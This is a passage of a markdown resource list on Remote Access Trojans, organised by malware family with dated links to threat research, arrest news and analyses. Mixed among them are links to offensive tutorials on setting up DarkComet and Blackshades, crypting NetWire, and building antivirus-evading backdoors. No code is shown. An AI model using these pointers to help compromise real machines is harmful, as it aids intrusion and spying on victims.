NetWire)](https://www.carbonblack.com/2019/11/20/active-c2-discovery-using-protocol-emulation-part1-hydseven-netwire/) - 2019.09 [fortinet] [New NetWire RAT Variant Being Spread Via Phishing](https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing.html) - 2019.08 [malware] [2019-08-23 - DATA DUMP (URSNIF, RIG EK, NETWIRE RAT)](http://malware-traffic-analysis.net/2019/08/23/index.html) - 2019.04 [myonlinesecurity] [Fake DHL Shipment Notification delivers Netwire Trojan](https://myonlinesecurity.co.uk/fake-dhl-shipment-notification-delivers-netwire-trojan/) - 2018.11 [traffic] [[2018-11-21] HookAds->FalloutEK->AZORult->NetWireRAT](https://traffic.moe/2018/11/21/index.html) - 2017.11 [myonlinesecurity] [Fake HSBC Advising Service Payment Advice malspam delivers Netwire trojan](https://myonlinesecurity.co.uk/fake-hsbc-advising-service-payment-advice-malspam-delivers-netwire-trojan/) - 2017.10 [myonlinesecurity] [Fake HSBC Swift Copy delivers Netwire trojan](https://myonlinesecurity.co.uk/fake-hsbc-swift-copy-delivers-netwire-trojan/) - 2017.09 [TechnoHacker] [NetWire HKCU/Run vs ActiveX Startup](https://www.youtube.com/watch?v=B2Au16gy4nE) - 2017.08 [TechnoHacker] [Netwire Tutorial: How to Sign the Android Host](https://www.youtube.com/watch?v=zEJrkKr29mU) - 2017.04 [TechnoHacker] [How to crypt Netwire with Cyberseal](https://www.youtube.com/watch?v=hzZtBO95B-U) - 2017.04 [TechnoHacker] [Netwire RAT Review](https://www.youtube.com/watch?v=jRCBTmBIT8g) - 2014.08 [paloaltonetworks] [NetWire and MITRE](https://unit42.paloaltonetworks.com/netwire-mitre-chopshop/) - 2014.08 [paloaltonetworks] [New Release: Decrypting NetWire C](https://unit42.paloaltonetworks.com/new-release-decrypting-netwire-c2-traffic/) *** ## <a id="20cd83aa4b202931ed4597c506d61257"></a>JhoneRAT - 2020.01 [talosintelligence] [JhoneRAT: Cloud based python RAT targeting Middle Eastern countries](https://blog.talosintelligence.com/2020/01/jhonerat.html) *** ## <a id="2da027a7cc244e466f914c996623d114"></a>Dacls - 2019.12 [360] [Lazarus Group使用Dacls RAT攻击Linux平台](https://blog.netlab.360.com/dacls-the-dual-platform-rat/) - 2019.12 [360] [Dacls, the Dual platform RAT](https://blog.netlab.360.com/dacls-the-dual-platform-rat-en/) *** ## <a id="8bfe869e8aca6fa9e7d2d5b0353c0dc2"></a>BlackRemote - 2019.12 [carbonblack] [Threat Analysis Unit (TAU) Threat Intelligence Notification: BlackRemote RAT](https://www.carbonblack.com/2019/12/13/threat-analysis-unit-tau-threat-intelligence-notification-blackremote-rat/) *** ## <a id="9ac323d054e6f52e9a92e449b51e75e6"></a>Orcus - 2019.11 [krebsonsecurity] [Orcus RAT Author Charged in Malware Scheme](https://krebsonsecurity.com/2019/11/orcus-rat-author-charged-in-malware-scheme/) - 2019.01 [morphisec] [New Campaign Delivers Orcus RAT](https://blog.morphisec.com/new-campaign-delivering-orcus-rat) - 2018.04 [freebuf] [基于SYLK文件传播Orcus远控木马样本分析](http://www.freebuf.com/articles/system/167141.html) - 2017.12 [fortinet] [Circle of the fraud: more information about Bitcoin Orcus RAT campaign](https://blog.fortinet.com/2017/12/22/circle-of-the-fraud-more-information-about-bitcoin-orcus-rat-campaign) - 2017.12 [fortinet] [Circle of the fraud: more information about Bitcoin Orcus RAT campaign](https://www.fortinet.com/blog/threat-research/circle-of-the-fraud-more-information-about-bitcoin-orcus-rat-campaign.html) - 2017.12 [fortinet] [A Peculiar Case of Orcus RAT Targeting Bitcoin Investors](https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors) - 2017.12 [fortinet] [A Peculiar Case of Orcus RAT Targeting Bitcoin Investors](https://www.fortinet.com/blog/threat-research/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors.html) - 2017.05 [freebuf] [Orcus VM的解题步骤](http://www.freebuf.com/articles/network/133796.html) - 2017.04 [hackingarticles] [Hack the Orcus VM CTF Challenge](http://www.hackingarticles.in/hack-orcus-vm-ctf-challenge/) - 2017.04 [techanarchy] [VulnHub Orcus Solution](http://techanarchy.net/2017/04/vulnhub-orcus-solution/) - 2017.03 [vulnhub] [hackfest2016: Orcus](https://www.vulnhub.com/entry/hackfest2016-orcus,182/) - 2017.03 [vulnhub] [hackfest2016: Orcus](https://www.vulnhub.com/entry/hackfest2016-orcus,182/) - 2016.08 [deniable] [Cracking Orcus RAT](http://deniable.org/cracking-orcus-rat/) - 2016.08 [deniable] [Cracking Orcus RAT](http://blog.deniable.org/blog/2016/08/09/cracking-orcus-rat/) - 2016.08 [deniable] [Cracking Orcus RAT](http://deniable.org/reversing/cracking-orcus-rat) - 2016.08 [paloaltonetworks] [Orcus – Birth of an unusual plugin bu](https://unit42.paloaltonetworks.com/unit42-orcus-birth-of-an-unusual-plugin-builder-rat/) - 2016.07 [krebsonsecurity] [Canadian Man Behind Popular ‘Orcus RAT’](https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/) *** ## <a id="8038672c0b8ef4b0b82afdeae025b38c"></a>NukeSped - 2019.10 [fortinet] [A Deep-Dive Analysis of the NukeSped RATs](https://www.fortinet.com/blog/threat-research/deep-analysis-nukesped-rat.html) *** ## <a id="11b35c707990ed436d23cc7495713177"></a>DarkComet - 2018.09 [UltraHacks] [How to setup DarkCometRAT 5.3.1 + Portforward](https://www.youtube.com/watch?v=fTeUTvg1_jE) - 2018.04 [freebuf] [CVE-2017-11882新动态：利用AutoIT脚本释放DarkComet后门](http://www.freebuf.com/vuls/166744.html) - 2018.03 [tencent] [CVE-2017-11882新动态：利用AutoIT脚本释放DarkComet后门](https://s.tencent.com/research/report/451.html) - 2017.10 [rsa] [Malspam Delivers DarkComet RAT October-2017](https://community.rsa.com/community/products/netwitness/blog/2017/10/12/malspam-delivers-darkcomet-rat-october-2017) - 2017.01 [HackingMonks] [Darkcomet Rat Tutorial (Trojans are awesome)](https://www.youtube.com/watch?v=eS9BIFaFKNM) - 2016.02 [hackingarticles] [Hack Remote PC using Darkcomet RAT with Metasploit](http://www.hackingarticles.in/hack-remote-pc-using-darkcomet-rat-with-metasploit/) - 2015.11 [TechnoHacker] [How to setup DarkComet RAT [Voice Tutorial] [Download Link]](https://www.youtube.com/watch?v=Lqcg7gcKCfo) - 2015.07 [SecurityBSidesLondon] [Kevin Breen - DarkComet From Defense To Offense - Identify your Attacker](https://www.youtube.com/watch?v=tRM6HrW7BAc) - 2015.03 [heimdalsecurity] [Security Alert: Infamous DarkComet RAT Used In Spear Phishing Campaigns](https://heimdalsecurity.com/blog/darkcomet-rat-phishing-campaigns/) - 2015.03 [sketchymoose] [Smooshing the Square Peg into the Round Hole: DarkComet Plugin for 64-bit images](https://sketchymoose.blogspot.com/2015/03/smooshing-square-peg-into-round-hole.html) - 2012.07 [freebuf] [DarkComet RAT作者宣布项目停止开发](http://www.freebuf.com/news/4939.html) - 2012.06 [freebuf] [[更新]一款强大的远控 – DarkComet RAT V5.3.1](http://www.freebuf.com/sectool/3957.html) - 2012.06 [malwarebytes] [You dirty RAT! Part 1: DarkComet](https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/) - 2012.04 [trendmicro] [Fake Skype Encryption Software Cloaks DarkComet Trojan](https://blog.trendmicro.com/trendlabs-security-intelligence/fake-skype-encryption-software-cloaks-darkcomet-trojan/) - 2012.04 [toolswatch] [DarkComet-RAT Remote Administration Tool v5.1.1 released](http://www.toolswatch.org/2012/04/darkcomet-rat-remote-administration-tool-v5-1-1released/) - 2012.03 [quequero] [DarkComet Analysis – Understanding the Trojan used in Syrian Uprising](https://quequero.org/2012/03/darkcomet-analysis-understanding-the-trojan-used-in-syrian-uprising/) - 2012.02 [trendmicro] [DarkComet Surfaced in the Targeted Attacks in Syrian Conflict](https://blog.trendmicro.com/trendlabs-security-intelligence/darkcomet-surfaced-in-the-targeted-attacks-in-syrian-conflict/) - 2011.08 [toolswatch] [DarkComet-RAT (Remote Administration Tool) v4.0 Fix 1 available](http://www.toolswatch.org/2011/08/darkcomet-rat-remote-administration-tool-v4-0-fix-1-available/) - 2011.05 [toolswatch] [DarkComet-RAT v3.3 available](http://www.toolswatch.org/2011/05/darkcomet-rat-v3-3-available/) - 2011.01 [toolswatch] [(EXCLUSIVE) DarkComet-RAT updated to v3.0.1](http://www.toolswatch.org/2011/01/darkcomet-rat-updated-to-v3-0-1/) - 2011.01 [toolswatch] [EXCLUSIVE : DarkComet-RAT 3.0 released (Impressive RAT tool)](http://www.toolswatch.org/2011/01/exclusive-darkcomet-rat-3-0-released-impressive-rat-tool/) *** ## <a id="5af0edca5a51bdd5fd8f8d37b08218c8"></a> WarZone RAT - 2018.11 [UltraHacks] [Warzone RAT C++ | Hidden VNC [PROMOTION VIDEO]| Ultra Hacks](https://www.youtube.com/watch?v=QV_21Qv-0d0) *** ## <a id="84187b0e75ca2a5a844f0367bf6d3c6b"></a>BlackShades - 2017.01 [TechnoHacker] [Blackshades Revisited](https://www.youtube.com/watch?v=8lTFyk5CEQg) - 2016.02 [TechnoHacker] [How to use Blackshades [download link]](https://www.youtube.com/watch?v=9lzbO-QW46o) - 2016.02 [TechnoHacker] [How to setup Blackshades RAT [Voice Tutorial] [download link]](https://www.youtube.com/watch?v=PLYe1JwCoA8) - 2014.05 [malwarebytes] [Taking off the Blackshades](https://blog.malwarebytes.com/threat-analysis/2014/05/taking-off-the-blackshades/) - 2014.05 [endgame] [Blackshades: Why We Should Care About Old Malware](https://www.endgame.com/blog/technical-blog/blackshades-why-we-should-care-about-old-malware) - 2014.05 [trendmicro] [The Blackshades RAT – Entry-Level Cybercrime](https://blog.trendmicro.com/trendlabs-security-intelligence/the-blackshades-rat-entry-level-cybercrime/) - 2014.05 [publicintelligence] [FBI Blackshades Remote Access Tool Private Sector Bulletins and Domain List](https://publicintelligence.net/fbi-blackshades-bulletins/) - 2014.05 [alienvault] [Blackshades Smackdown & Poking China in the Eye](https://www.alienvault.com/blogs/industry-insights/blackshades-smackdown-poking-china-in-the-eye) - 2014.05 [cylance] [A Study in Bots: BlackShades Net](https://www.cylance.com/en_us/blog/a-study-in-bots-blackshades-net.html) - 2014.05 [welivesecurity] [Behind Blackshades: a closer look at the latest FBI cyber crime arrests](https://www.welivesecurity.com/2014/05/20/blackshades-rat-fbi-cybercrime-malware-takedown/) - 2014.05 [krebsonsecurity] [‘Blackshades’ Trojan Users Had It Coming](https://krebsonsecurity.com/2014/05/blackshades-trojan-users-had-it-coming/) - 2014.05 [malwaretech] [FBI Cybercrime Crackdown – Blackshades](https://www.malwaretech.com/2014/05/fbi-cybercrime-crackdown-blackshades.html) - 2012.07 [malwarebytes] [BlackShades Co-Creator Arrested!](https://blog.malwarebytes.com/cybercrime/2012/07/blackshades-co-creator-arrested/) - 2012.06 [malwarebytes] [BlackShades in Syria](https://blog.malwarebytes.com/threat-analysis/2012/06/blackshades-in-syria/) - 2012.06 [citizenlab] [Syrian Activists Targeted with BlackShades Spy Software](https://citizenlab.ca/2012/06/syrian-activists-targeted-with-blackshades-spy-software/) - 2012.06 [malwarebytes] [You Dirty RAT! Part 2 – BlackShades NET](https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-2-blackshades-net/) *** ## <a id="36531e67f10ecd7114880530e5e46e95"></a>DenesRAT - 2019.10 [nsfocus] [海莲花（APT32）组织 DenesRAT木马与相关攻击链分析](http://blog.nsfocus.net/apt32-organization-denesrat-trojan-related-attack-chain-analysis/) *** ## <a id="660f78a639f351f8404accad8c711ca4"></a>WSH RAT - 2019.10 [angelalonso] [WSH RAT - Analysis of the code](https://blog.angelalonso.es/2019/10/wsh-rat-analysis-of-code.html) - 2019.10 [angelalonso] [Fudcrypt using H-Worm from WSH RAT](https://blog.angelalonso.es/2019/10/fudcrypt-using-h-worm-from-wshrat.html) - 2019.09 [freebuf] [黑客购买新型WSH RAT最新变种样本，攻击银行客户](https://www.freebuf.com/articles/system/214269.html) - 2019.09 [angelalonso] [WSH RAT and the link to unknowcrypter and Fudcrypt](https://blog.angelalonso.es/2019/09/wsh-rat-and-link-to-unknowcrypter-and.html) *** ## <a id="319dcbdac181398a9b2ba7f5424a3e04"></a>Qrypter RAT - 2018.04 [4hou] [对愈加流行的Qrypter RAT运作情况进行分析](http://www.4hou.com/web/10902.html) - 2017.12 [angelalonso] [Qrypter Java RAT using Tor](http://blog.angelalonso.es/2017/12/qrypter-java-rat-using-tor.html) *** ## <a id="eb6a3a9a179678734be43ea1eb26f1c3"></a>Adwind - 2019.08 [4hou] [Adwind远控当前被广泛用于公共事业部门的攻击活动中](https://www.4hou.com/info/19812.html) - 2018.10 [reversinglabs] [eWeek: Cisco Talos and ReversingLabs warn that the Adwind Remote Access Trojan (RAT) has added capabilities that enable it bypass some anti-virus technologies](https://www.reversinglabs.com/newsroom/news/eweek-cisco-talos-and-reversinglabs-warn-adwind-remote-access-trojan-rat-has-added.html) - 2018.04 [4hou] [垃圾邮件活动使用XTRAT、DUNIHI和Adwind后门](http://www.4hou.com/info/news/11169.html) - 2018.04 [trendmicro] [XTRAT and DUNIHI Backdoors Bundled with Adwind in Spam Mails](https://blog.trendmicro.com/trendlabs-security-intelligence/xtrat-and-dunihi-backdoors-bundled-with-adwind-in-spam-mails/) - 2018.04 [ensilo] [enSilo Blocks New Variant of Adwind RAT](https://blog.ensilo.com/ensilo-blocks-new-variant-of-adwind-rat) - 2018.03 [OALabs] [Analyzing Adwind / JRAT Java Malware](https://www.youtube.com/watch?v=yHrr9v0E6MQ) - 2018.03 [heimdalsecurity] [Security Alert: Spam Campaign Spreads Adwind RAT variant, Targeting Computer Systems](https://heimdalsecurity.com/blog/security-alert-spam-campaign-adwind-rat-variant-targeting-systems/) - 2018.02 [fortinet] [New jRAT/Adwind Variant Being Spread With Package Delivery Scam](https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html) - 2018.02 [rsa] [Winds of Winter - MalSpam Delivers Adwind RAT 2-1-2018](https://community.rsa.com/community/products/netwitness/blog/2018/02/05/winds-of-winter-malspam-delivers-adwind-rat-february-2018) - 2018.02 [myonlinesecurity] [Fake Swift Copy malspam via compromised sites delivering Java Adwind/ QRAT /JRAT Trojan](https://myonlinesecurity.co.uk/fake-swift-copy-malspam-via-compromised-sites-delivering-java-adwind-qrat-jrat-trojan/) - 2017.12 [myonlinesecurity] [Fake “Your UPS Invoice Is Ready” malspam delivers Java Adwind / Java JRAT Trojan](https://myonlinesecurity.co.uk/fake-your-ups-invoice-is-ready-malspam-delivers-java-adwind-java-jrat-trojan/) - 2017.08 [netskope] [Adwind RAT employs new obfuscation techniques](https://www.netskope.com/blog/adwind-rat-employs-new-obfuscation-techniques/) - 2017.07 [trendmicro] [Spam Campaign Delivers Cross-platform Remote Access Trojan Adwind](https://blog.trendmicro.com/trendlabs-security-intelligence/spam-remote-access-trojan-adwind-jrat/) - 2017.03 [freebuf] [Adwind RAT针对企业攻击，目标超过100个国家和地区](http://www.freebuf.com/news/128021.html) - 2017.01 [codemetrix] [Decrypting Adwind jRAT jBifrost trojan](https://codemetrix.net/decrypting-adwind-jrat-jbifrost-trojan/) - 2016.08 [fortinet] [JBifrost: Yet Another Incarnation of the Adwind RAT](https://www.fortinet.com/blog/threat-research/jbifrost-yet-another-incarnation-of-the-adwind-rat.html) - 2016.07 [heimdalsecurity] [Security Alert: Adwind RAT Used in Targeted Attacks with Zero AV Detection](https://heimdalsecurity.com/blog/security-alert-adwind-rat-targeted-attacks-zero-av-detection/) - 2016.02 [securelist] [Expert: cross-platform Adwind RAT](https://securelist.com/expert-cross-platform-adwind-rat/73773/) - 2016.02 [kaspersky] [The wind that smells like RAT: The story of Adwind MaaS](https://www.kaspersky.com/blog/adwind-rat-2/15126/) - 2013.11 [crowdstrike] [Adwind RAT Rebranding](https://www.crowdstrike.com/blog/adwind-rat-rebranding/) *** ## <a id="eb3c9f8af4ebe91aca4649718ff595c2"></a>CannibalRAT - 2018.02 [talosintelligence] [CannibalRAT targets Brazil](http://blog.talosintelligence.com/2018/02/cannibalrat-targets-brazil.html) *** ## <a id="5fe739ee0e8778979807558ccd439b07"></a>jRAT - 2018.10 [cofense] [H-Worm and jRAT Malware: Two RATs are Better than One](https://cofense.com/h-worm-jrat-malware-two-rats-better-one/) - 2018.08 [Sebdraven] [Lammers, stealers and RATs: same technics like Formbook malware to install JRAT and HawkEye…](https://medium.com/p/8c010e9f40d4) - 2018.03 [trustwave] [Crypter-as-a-Service Helps jRAT Fly Under The Radar](https://www.trustwave.com/Resources/SpiderLabs-Blog/Crypter-as-a-Service-Helps-jRAT-Fly-Under-The-Radar/) *** ## <a id="b62c18c1b4fc6d5b52ca826b36cf0819"></a>jsRAT - 2018.02 [netskope] [ShortJSRAT leverages cloud with scriptlets](https://www.netskope.com/blog/shortjsrat-leverages-cloud-scriptlets/) - 2017.07 [rsa] [Recreating the Crime Scene - A JSRat Story](https://community.rsa.com/community/products/netwitness/blog/2017/07/13/httpscommunityrsacomblogcreate-postjspacontainertype37containerid1034draftid43558recreating-the-crime-scene-a-jsrat-story) - 2016.05 [evi1cg] [JSRAT几种启动方式](https://evi1cg.me/archives/Run_JSRAT.html) - 2016.03 [hackingarticles] [Hack Remote Windows 10 PC using JSRAT](http://www.hackingarticles.in/hack-remote-windows-10-pc-using-jsrat/) - 2015.07 [secist] [使用JSRAT远程管理win10系统](http://www.secist.com/archives/305.html) *** ## <a id="8d0732c4a6cf2393c0ff4e6cfe54f50f"></a>CrossRat - 2018.01 [360] [分析一款全球网络间谍活动中的跨平台恶意软件-CrossRAT（下）](https://www.anquanke.com/post/id/96383/) - 2018.01 [4hou] [CrossRat远程控制软件的分析](http://www.4hou.com/technology/10131.html) - 2018.01 [360] [分析一款全球网络间谍活动中的跨平台恶意软件-CrossRAT（上）](https://www.anquanke.com/post/id/96323/) - 2018.01 [objective] [Analyzing CrossRAT](https://objective-see.com/blog/blog_0x28.html) *** ## <a id="bb9ad532c3a3c9235157325236380a96"></a>ArmaRat - 2018.09 [360] [ArmaRat：针对伊朗用户长达两年的间谍活动](https://www.anquanke.com/post/id/159264/) *** ## <a id="504b8511fe74ddb142775e007fa509f8"></a>RokRAT - 2018.01 [morphisec] [Threat Profile: RokRAT](http://blog.morphisec.com/threat-profile-rokrat) - 2017.12 [MalwareAnalysisForHedgehogs] [Malware Analysis - ROKRAT Unpacking from Injected Shellcode](https://www.youtube.com/watch?v=uoBQE5s2ba4) - 2017.11 [talosintelligence] [ROKRAT Reloaded](https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html) - 2017.06 [alienvault] [A RAT that Tweets: New ROKRAT Malware Hides behind Twitter, Amazon, and Hulu Traffic](https://www.alienvault.com/blogs/security-essentials/a-rat-that-tweets-new-rokrat-malware-hides-behind-twitter-amazon-and-hulu-traffic) - 2017.04 [360] [使用云平台的ROKRAT木马分析](https://www.anquanke.com/post/id/85847/) - 2017.04 [talosintelligence] [Introducing ROKRAT](https://blog.talosintelligence.com/2017/04/introducing-rokrat.html) *** ## <a id="ec8fe0e42f60749c29b75ed6708a5323"></a>CatKARAT - 2018.01 [hackingarticles] [TCP & UDP Packet Crafting with CatKARAT](http://www.hackingarticles.in/tcp-udp-packet-crafting-catkarat/) *** ## <a id="c3abd29c4145412f661b02b37347e70b"></a>TheFatRat - 2018.11 [freebuf] [技术分享 | 看我如何使用TheFatRat黑掉你的Android手机](https://www.freebuf.com/articles/terminal/188986.html) - 2017.11 [TheHackerStuff] [TheFatRat - Hacking Over WAN - Embedding Payload in Original Android APK - Without Port Forwarding](https://www.youtube.com/watch?v=XLNigYZ5-fM) - 2016.12 [TheHackerStuff] [Kali Linux - TheFatRat - Creating an Undetectable Backdoor - Bypass all AntiVirus](https://www.youtube.com/watch?v=uwMRuQBVS7k) - 2016.09 [freebuf] [TheFatRat：Msfvenom傻瓜化后门生成工具](http://www.freebuf.com/sectool/113597.html) - 2016.07 [hackingarticles] [Hack Remote Windows 10 PC using TheFatRat](http://www.hackingarticles.in/hack-remote-windows-10-pc-using-thefatrat/) *** ## <a id="f1e2e824425e798bf4e410e4496181ed"></a>OmniRAT - 2017.07 [skycure] [Nasty backdoor OmniRAT is back, disguised as GhostCtrl on Android mobile devices](https://www.skycure.com/blog/nasty-backdoor-omnirat-back-disguised-ghostctrl-android-mobile-devices/) - 2015.11 [freebuf] [OmniRAT变种木马被恶意利用](http://www.freebuf.com/news/85281.html) *** ## <a id="bea46716ccf78713fbb9764999968e72"></a>LuminosityLink - 2018.10 [welivesecurity] [LuminosityLink RAT pack leader jailed 30 months in the US](https://www.welivesecurity.com/2018/10/24/luminositylink-rat-author-sentenced-jail/) - 2018.02 [paloaltonetworks] [RAT Trapped? LuminosityLink Falls Foul of Vermin Eradicatio](https://unit42.paloaltonetworks.com/unit42-rat-trapped-luminositylink-falls-foul-vermin-eradication-efforts/) - 2017.05 [UltraHacks] [How to setup LuminosityLink RAT with nVPN | PORTFORWARD FIX!!!](https://www.youtube.com/watch?v=AiiQNtJfgBc) - 2017.05 [umbrella] [The Weather Report: Seamless Campaign, LuminosityLink RAT, and OG-Miner!](https://umbrella.cisco.com:443/blog/2017/05/24/weather-report-seamless-campaign-luminositylink-rat-og-miner/) - 2017.03 [myonlinesecurity] [Request for 1st new order proforma invoice malspam delivers LuminosityLink RAT](https://myonlinesecurity.co.uk/request-for-1st-new-order-proforma-invoice-malspam-delivers-luminositylink-rat/) - 2016.07 [paloaltonetworks] [Investigating the LuminosityLink Remote Access Trojan Conf](https://unit42.paloaltonetworks.com/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/) *** ## <a id="6e0343d40b9606a34ad2ff311d0d259a"></a>Other - 2020.02 [proofpoint] [Proofpoint Q4 2019 Threat Report and Year in Review — The Year of the RAT Ends with More of the Same](https://www.proofpoint.com/us/threat-insight/post/proofpoint-q4-2019-threat-report-and-year-review-year-rat-ends-more-same) - 2020.01 [sentinelone] [CISO Essentials | How Remote Access Trojans Affect the Enterprise](https://www.sentinelone.com/blog/ciso-essentials-how-remote-access-trojans-affect-the-enterprise/) - 2020.01 [TheCyberWire] [RATs, backdoors, and a remote code execution zero-day. Hoods breach Mitsubishi Electric. Telnet...](https://www.youtube.com/watch?v=8jdAA2O7_EI) - 2020.01 [freebuf] [针对在有效数字证书内植入远控木马病毒分析报告](https://www.freebuf.com/articles/paper/224147.html) - 2020.01 [rambus] [Cable Haunt vulnerability can give hackers remote access to approximately 200 million cable modems](https://www.rambus.com/blogs/cable-haunt-vulnerability-can-give-hackers-remote-access-to-approximately-200-million-cable-modems/) - 2020.01 [proofpoint] [Threat Insight 2019 in Review: Year of the RAT](https://www.proofpoint.com/us/threat-insight/post/threat-insight-2019-review-year-rat) - 2019.12 [ptsecurity] [Turkish tricks with worms, RATs… and a freelancer](http://blog.ptsecurity.com/2019/12/turkish-tricks-with-worms-rats-and.html) - 2019.12 [infosecinstitute] [Malware spotlight: What is a Remote Access Trojan (RAT)?](https://resources.infosecinstitute.com/malware-spotlight-what-is-a-remote-access-trojan-rat/) - 2019.12 [UltraHacks] [Dark Shades Android RAT | Ultra Hacks](https://www.youtube.com/watch?v=toO_edSq_t0) - 2019.11 [broadanalysis] [Fallout Exploit Kit delivers suspect Remote Access Trojan (RAT)](https://broadanalysis.com/2019/11/25/fallout-exploit-kit-delivers-suspect-remote-access-trojan-rat/) - 2019.11 [carbonblack] [Threat Analysis Unit (TAU) Threat Intelligence Notification: AsyncRAT](https://www.carbonblack.com/2019/11/19/threat-analysis-unit-tau-threat-intelligence-notification-asyncrat/) - 2019.11 [proofpoint] [Proofpoint Q3 2019 Threat Report — Emotet’s return, RATs reign supreme, and more](https://www.proofpoint.com/us/threat-insight/post/proofpoint-q3-2019-threat-report-emotets-return-rats-reign-supreme-and-more) - 2019.10 [tencent] [快Go矿工（KuaiGoMiner）控制数万电脑挖矿，释放远控木马窃取机密](https://s.tencent.com/research/report/824.html) - 2019.10 [4hou] [快go矿工（KuaiGoMiner）控制数万电脑挖矿，释放远控木马窃取机密](https://www.4hou.com/system/20919.html) - 2019.10 [proofpoint] [TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader](https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader) - 2019.10 [tencent] [“月光（Moonlight）”蠕虫威胁高校网络，中毒电脑被远程控制](https://s.tencent.com/research/report/821.html) - 2019.10 [4hou] [“月光（Moonlight）”蠕虫威胁高校网络，中毒电脑被远程控制](https://www.4hou.com/system/20853.html) - 2019.10 [freebuf] [反间谍之旅：首款安卓远控木马工具分析](https://www.freebuf.com/articles/terminal/214201.html) - 2019.09 [4hou] [病毒团伙利用phpStudy RCE漏洞批量抓鸡，下发四个远控木马](https://www.4hou.com/system/20637.html) - 2019.09 [aliyun] [利用badusb对用户进行木马远控](https://xz.aliyun.com/t/6386) - 2019.09 [sensecy] [ARABIC-SPEAKING THREAT ACTOR RECYCLES THE SOURCE CODE OF POPULAR RAT SPYNOTE AND SELLS IT IN THE DARK WEB, AS NEW](https://blog.sensecy.com/2019/09/15/arabic-speaking-threat-actor-recycles-the-source-code-of-popular-rat-spynote-and-sells-it-in-the-dark-web-as-new/) - 2019.08 [securelist] [Fully equipped Spying Android RAT from Brazil: BRATA](https://securelist.com/spying-android-rat-from-brazil-brata/92775/) - 2019.08 [talosintelligence] [RAT Ratatouille: Backdooring PCs with leaked RATs](https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html) - 2019.08 [malware] [2019-08-26 - DATA DUMP: SOCGHOLISH CAMPAIGN PUSHES NETSUPPORT RAT](http://malware-traffic-analysis.net/2019/08/26/index.html) - 2019.08 [fortinet] [Fake Indian Income Tax Calculator Delivers xRAT Variant](https://www.fortinet.com/blog/threat-research/fake-indian-income-tax-calculator-xrat-variant.html) - 2019.07 [tencent] [商贸信家族新活跃：利用钓鱼邮件传播商业远控木马RevetRAT](https://s.tencent.com/research/report/767.html) - 2019.07 [freebuf] [关于远控木马你应该了解的知识点](https://www.freebuf.com/articles/system/207643.html) - 2019.07 [trendmicro] [Spam Campaign Targets Colombian Entities with Custom-made ‘Proyecto RAT,’ Uses Email Service YOPmail for C&C](https://blog.trendmicro.com/trendlabs-security-intelligence/spam-campaign-targets-colombian-entities-with-custom-proyecto-rat-email-service-yopmail-for-cc/) - 2019.07 [freebuf] [APT34核心组件Glimpse：远控复现与流量分析](https://www.freebuf.com/articles/database/207469.html) - 2019.07 [d] [Red Team Diary, Entry #1: Making NSA’s PeddleCheap RAT Invisible](https://medium.com/p/f88ccbdc484d) - 2019.07 [yoroi] [Spotting RATs: Tales from a Criminal Attack](https://blog.yoroi.company/research/spotting-rats-tales-from-a-criminal-attack/) - 2019.07 [cybersecpolitics] [Book Review: Delusions of Intelligence, R.A. RATCLIFF](https://cybersecpolitics.blogspot.com/2019/07/book-review-delusions-of-intelligence.html) - 2019.07 [4hou] [探寻木马进化趋势：APT32多版本远控木马Ratsnif的横向分析](https://www.4hou.com/reverse/18994.html) - 2019.07 [4hou] [浅谈远控木马](https://www.4hou.com/info/observation/19022.html) - 2019.07 [freebuf] [投递恶意lnk使用JwsclTerminalServer实现远程控制和信息获取](https://www.freebuf.com/articles/system/207109.html) - 2019.07 [securityintelligence] [Taking Over the Overlay: What Triggers the AVLay Remote Access Trojan (RAT)?](https://securityintelligence.com/posts/taking-over-the-overlay-what-triggers-the-avlay-remote-access-trojan-rat/) - 2019.07 [securityintelligence] [Taking Over the Overlay: Reverse Engineering a Brazilian Remote Access Trojan (RAT)](https://securityintelligence.com/posts/taking-over-the-overlay-reverse-engineering-a-brazilian-remote-access-trojan-rat/) - 2019.07 [talosintelligence] [RATs and stealers rush through “Heaven’s Gate” with new loader](https://blog.talosintelligence.com/2019/07/rats-and-stealers-rush-through-heavens.html) - 2019.06 [4hou] [警惕H-worm蠕虫病毒伪装电影样片钓鱼，草率点击附件会中远控木马](https://www.4hou.com/web/18741.html) - 2019.06 [nightst0rm] [Tôi đã chiếm quyền điều khiển của rất nhiều trang web như thế nào?](https://medium.com/p/61efdf4a03f5) - 2019.06 [4hou] [TA505在最新攻击活动中使用HTML, RAT和其他技术](https://www.4hou.com/web/18563.html) - 2019.06 [trendmicro] [Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns](https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/) - 2019.05 [4hou] [提高恶意软件多任务处理能力的Babylon RAT](https://www.4hou.com/web/18114.html) - 2019.05 [360] [记一次利用XLM宏投放远控工具的垃圾邮件活动](https://www.anquanke.com/post/id/178366/) - 2019.05 [arxiv] [[1905.07273] Finding Rats in Cats: Detecting Stealthy Attacks using Group Anomaly Detection](https://arxiv.org/abs/1905.07273) - 2019.05 [freebuf] [基于Python的BS远控Ares实战](https://www.freebuf.com/articles/system/202419.html) - 2019.05 [4hou] [C&C远控工具:WebSocket C2](https://www.4hou.com/tools/17528.html) - 2019.04 [paloaltonetworks] [BabyShark Malware Part Two – Attacks Continue Using KimJongRAT](https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/) - 2019.04 [freebuf] [看我如何揪出远控背后的幕后黑手](https://www.freebuf.com/vuls/200895.html) - 2019.04 [4hou] [C&C远控工具：Ares](https://www.4hou.com/tools/17527.html) - 2019.04 [krebsonsecurity] [Who’s Behind the RevCode WebMonitor 